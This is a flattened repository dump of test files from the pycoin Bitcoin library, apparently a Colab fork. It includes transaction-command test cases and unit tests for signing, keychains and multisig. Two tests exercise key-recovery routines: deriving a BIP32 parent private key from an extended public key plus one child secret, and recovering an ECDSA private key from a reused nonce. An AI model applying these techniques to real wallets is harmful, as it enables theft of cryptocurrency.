1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 1cMh228HTCiwS8ZsaakH8A8wze1JR5ZsP 3 | Version: 1 tx hash 0dec7eeb625dbfe3c8b04db82c01497b0f8a04292ec141f23a373b19d698d62b 292 bytes 4 | TxIn count: 1; TxOut count: 3 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm from d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a:1 123.45678 mBTC sig ok 8 | Outputs: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 30.68029 mBTC 10 | 1: 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH receives 30.68029 mBTC 11 | 2: 1cMh228HTCiwS8ZsaakH8A8wze1JR5ZsP receives 30.68028 mBTC 12 | Total input 123.45678 mBTC 13 | Total output 92.04086 mBTC 14 | Total fees 31.41592 mBTC 15 | 01000000012a6ca22af83bc447f74b1f475c9bd2e99ccef7347144572a9de5bcf5a5a21ad6010000008b4830450221008928a227545e1037b9b14fe77f4ce2802db702a8af840aada17ec23544610ac20220180224c563fe21932db6e920280d2c7372ca1ef9c4527170c3d5bae966afa33c01410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8ffffffff037dd02e00000000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac7dd02e00000000001976a914751e76e8199196d454941c45d1b3a323f1433bd688ac7cd02e00000000001976a91406afd46bcdfd22ef94ac122aa11f241244a37ecc88ac00000000 16 | all incoming transaction values validated 17 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/version_3.txt: -------------------------------------------------------------------------------- 1 | # set transaction version to 3 2 | tx -t 3 d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 3 | Version: 3 tx hash 371e0a2d4db8d1f185f95d9e9d1187d79644f741bcbee312e159a658637431e5 257 bytes 4 | TxIn count: 1; TxOut count: 2 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm from d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a:1 123.45678 mBTC sig ok 8 | Outputs: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 61.67839 mBTC 10 | 1: 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH receives 61.67839 mBTC 11 | Total input 123.45678 mBTC 12 | Total output 123.35678 mBTC 13 | Total fees 0.10000 mBTC 14 | 03000000012a6ca22af83bc447f74b1f475c9bd2e99ccef7347144572a9de5bcf5a5a21ad6010000008a47304402202d72b2b470c40ed5f5b787c8da06e82d98beb79a44313600e541611f7f3cc19802205efdce36320a9b24634c7f72a7a1b6b8252990adf92728e38f3921b6a14c495901410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8ffffffff021f1d5e00000000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac1f1d5e00000000001976a914751e76e8199196d454941c45d1b3a323f1433bd688ac00000000 15 | all incoming transaction values validated 16 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/version_5.txt: -------------------------------------------------------------------------------- 1 | # set transaction version to 5 2 | tx -t 5 d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 3 | Version: 5 tx hash ea505b131baec221b4b09c6f6458430ba000adc3dcfc1773a797ca5c4dbb93e9 257 bytes 4 | TxIn count: 1; TxOut count: 2 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm from d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a:1 123.45678 mBTC sig ok 8 | Outputs: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 61.67839 mBTC 10 | 1: 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH receives 61.67839 mBTC 11 | Total input 123.45678 mBTC 12 | Total output 123.35678 mBTC 13 | Total fees 0.10000 mBTC 14 | 05000000012a6ca22af83bc447f74b1f475c9bd2e99ccef7347144572a9de5bcf5a5a21ad6010000008a4730440220497670a10d52a3587a7d26b51284498092a698885bb5cf19a98740baa7e3f4f60220751e0dcb36d5b14a186b7eaf07a5e9241162d32e8a710bdda09204ce0b12f8bf01410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8ffffffff021f1d5e00000000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac1f1d5e00000000001976a914751e76e8199196d454941c45d1b3a323f1433bd688ac00000000 15 | all incoming transaction values validated 16 | -------------------------------------------------------------------------------- /tests/crack_bip32_test.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | 4 | from pycoin.crack.bip32 import ascend_bip32, crack_bip32 5 | from pycoin.symbols.btc import network 6 | 7 | 8 | class CrackBIP32Test(unittest.TestCase): 9 | 10 | def setUp(self): 11 | self.bip32_key = network.keys.bip32_seed(b"foo") 12 | 13 | def test_crack_bip32(self): 14 | bip32_key = self.bip32_key 15 | bip32_pub = bip32_key.public_copy() 16 | secret_exponent_p0_1_7_9 = bip32_key.subkey_for_path("0/1/7/9").secret_exponent() 17 | cracked_bip32_node = crack_bip32(bip32_pub, secret_exponent_p0_1_7_9, "0/1/7/9") 18 | self.assertEqual(cracked_bip32_node.hwif(as_private=True), bip32_key.hwif(as_private=True)) 19 | 20 | def test_ascend_bip32(self): 21 | bip32_key = self.bip32_key 22 | bip32_pub = bip32_key.public_copy() 23 | secret_exponent_p9 = bip32_key.subkey_for_path("9").secret_exponent() 24 | secret_exponent = ascend_bip32(bip32_pub, secret_exponent_p9, 9) 25 | self.assertEqual(secret_exponent, bip32_key.secret_exponent()) 26 | -------------------------------------------------------------------------------- /tests/crack_sig_test.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from pycoin.crack.ecdsa import crack_secret_exponent_from_k, crack_k_from_sigs 4 | from pycoin.ecdsa.secp256k1 import secp256k1_generator 5 | 6 | 7 | def make_gen_k_const(K): 8 | 9 | def gen_k(*args): 10 | return K 11 | return gen_k 12 | 13 | 14 | class CrackSigTest(unittest.TestCase): 15 | def test_crack_secret_exponent_from_k(self): 16 | k = 105 17 | se = 181919191 18 | gen_k = make_gen_k_const(k) 19 | val = 488819181819384 20 | sig = secp256k1_generator.sign(se, val, gen_k=gen_k) 21 | cracked_se = crack_secret_exponent_from_k(secp256k1_generator, val, sig, k) 22 | self.assertEqual(cracked_se, se) 23 | 24 | def test_crack_k_from_sigs(self): 25 | k = 105 26 | se = 181919191 27 | gen_k = make_gen_k_const(k) 28 | val1 = 488819181819384 29 | val2 = 588819181819384 30 | sig1 = secp256k1_generator.sign(se, val1, gen_k=gen_k) 31 | sig2 = secp256k1_generator.sign(se, val2, gen_k=gen_k) 32 | cracked_k = crack_k_from_sigs(secp256k1_generator, sig1, val1, sig2, val2) 33 | self.assertEqual(cracked_k, k) 34 | -------------------------------------------------------------------------------- /tests/ecdsa/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/tests/ecdsa/__init__.py -------------------------------------------------------------------------------- /tests/ecdsa/encrypt_test.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from pycoin.ecdsa.encrypt import generate_shared_public_key 4 | from pycoin.ecdsa.secp256k1 import secp256k1_generator 5 | 6 | 7 | class SharedPublicKeyTest(unittest.TestCase): 8 | def test_gen_shared(self): 9 | BASE_1 = 0x1111111111111111111111111111111111111111111111111111111111111111 10 | BASE_2 = 0x1111111111011111111111111110111111111111111111110111111110111111 11 | for factor_1 in range(1, 16): 12 | priv_1 = BASE_1 * factor_1 13 | pub_1 = secp256k1_generator * priv_1 14 | for factor_2 in range(1, 16): 15 | priv_2 = BASE_2 * factor_2 16 | pub_2 = secp256k1_generator * priv_2 17 | pk1 = generate_shared_public_key(priv_1, pub_2, secp256k1_generator) 18 | pk2 = generate_shared_public_key(priv_2, pub_1, secp256k1_generator) 19 | self.assertEqual(pk1, pk2) 20 | -------------------------------------------------------------------------------- /tests/ecdsa/signature_test.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from pycoin.ecdsa.secp256k1 import secp256k1_generator 4 | 5 | 6 | class SigningTest(unittest.TestCase): 7 | def test_sign(self): 8 | PART1 = ["47f7616ea6f9b923076625b4488115de1ef1187f760e65f89eb6f4f7ff04b012"] 9 | PART2 = [x * 64 for x in "123456789abcde"] 10 | VAL = 28832970699858290 11 | for se in PART1 + PART2: 12 | secret_exponent = int(se, 16) 13 | sig = secp256k1_generator.sign(secret_exponent, VAL) 14 | 15 | public_pair = secp256k1_generator * secret_exponent 16 | 17 | v = secp256k1_generator.verify(public_pair, VAL, sig) 18 | self.assertTrue(v) 19 | 20 | sig1 = (sig[0] + 1, sig[1]) 21 | v = secp256k1_generator.verify(public_pair, VAL, sig1) 22 | self.assertFalse(v) 23 | 24 | public_pairs = secp256k1_generator.possible_public_pairs_for_signature(VAL, sig) 25 | self.assertIn(public_pair, public_pairs) 26 | 27 | 28 | if __name__ == "__main__": 29 | unittest.main() 30 | -------------------------------------------------------------------------------- /tests/grs/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/tests/grs/__init__.py -------------------------------------------------------------------------------- /tests/hexbytes.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from pycoin.encoding.hexbytes import h2b, h2b_rev, b2h, b2h_rev 4 | 5 | 6 | class HexbytesTest(unittest.TestCase): 7 | 8 | def test_h2b(self): 9 | h = "000102" 10 | b = b"\x00\x01\x02" 11 | self.assertEqual(h2b(h), b) 12 | self.assertEqual(b2h(b), h) 13 | self.assertEqual(h2b_rev(h), b[::-1]) 14 | self.assertEqual(b2h_rev(b), "020100") 15 | 16 | 17 | if __name__ == '__main__': 18 | unittest.main() 19 | -------------------------------------------------------------------------------- /tests/keychain_test.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from pycoin.key.subpaths import subpaths_for_path_range 4 | from pycoin.symbols.btc import network 5 | 6 | 7 | class KeychainTest(unittest.TestCase): 8 | 9 | def test_keychain(self): 10 | keychain = network.keychain() 11 | bip32_list = [network.keys.bip32_seed(_) for _ in [b"foo", b"bar"]] 12 | for bip32 in bip32_list: 13 | keychain.add_key_paths(bip32.public_copy(), subpaths_for_path_range("0-1/0-10")) 14 | keychain.add_secrets(bip32_list) 15 | for bip32 in bip32_list: 16 | for path in ["0/5", "1/2", "0/9"]: 17 | subkey = bip32.subkey_for_path("0/5") 18 | v = keychain.get(subkey.hash160()) 19 | self.assertEqual(v[0], subkey.secret_exponent()) 20 | v = keychain.get(b'0' * 32) 21 | self.assertEqual(v, None) 22 | -------------------------------------------------------------------------------- /tests/multisig_individual_test.py: -------------------------------------------------------------------------------- 1 | import itertools 2 | import unittest 3 | 4 | from pycoin.symbols.btc import network 5 | 6 | 7 | Tx = network.tx 8 | 9 | 10 | class MultisigIndividualTest(unittest.TestCase): 11 | def multisig_M_of_N_individually(self, M, N): 12 | keys = [network.keys.private(secret_exponent=i) for i in range(1, N+2)] 13 | tx_in = Tx.TxIn.coinbase_tx_in(script=b'') 14 | script = network.contract.for_multisig(m=M, sec_keys=[key.sec() for key in keys[:N]]) 15 | tx_out = Tx.TxOut(1000000, script) 16 | tx1 = Tx(version=1, txs_in=[tx_in], txs_out=[tx_out]) 17 | for partial_key_list in itertools.permutations(keys[:N], M): 18 | tx2 = network.tx_utils.create_tx(tx1.tx_outs_as_spendable(), [keys[-1].address()]) 19 | for key in partial_key_list: 20 | self.assertEqual(tx2.bad_solution_count(), 1) 21 | hash160_lookup = network.tx.solve.build_hash160_lookup([key.secret_exponent()]) 22 | tx2.sign(hash160_lookup=hash160_lookup) 23 | self.assertEqual(tx2.bad_solution_count(), 0) 24 | 25 | def test_multisig_one_at_a_time(self): 26 | for N in range(1, 4): 27 | for M in range(1, N+1): 28 | self.multisig_M_of_N_individually(M, N) 29 | 30 | 31 | if __name__ == "__main__": 32 | unittest.main() 33 | -------------------------------------------------------------------------------- /tests/script/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/tests/script/__init__.py -------------------------------------------------------------------------------- /tests/services/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/tests/services/__init__.py -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | # Tox (http://tox.testrun.org/) is a tool for running tests 2 | # in multiple virtualenvs. This configuration file will run the 3 | # test suite on all supported python versions. To use it, "pip install tox" 4 | # and then run "tox" from this directory. 5 | 6 | [tox] 7 | envlist = py27, py34, py35, py36, pypy 8 | 9 | [testenv] 10 | commands = py.test --cov=. tests 11 | deps = 12 | pytest 13 | groestlcoin_hash 14 | coverage 15 | -------------------------------------------------------------------------------- /version: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/version --------------------------------------------------------------------------------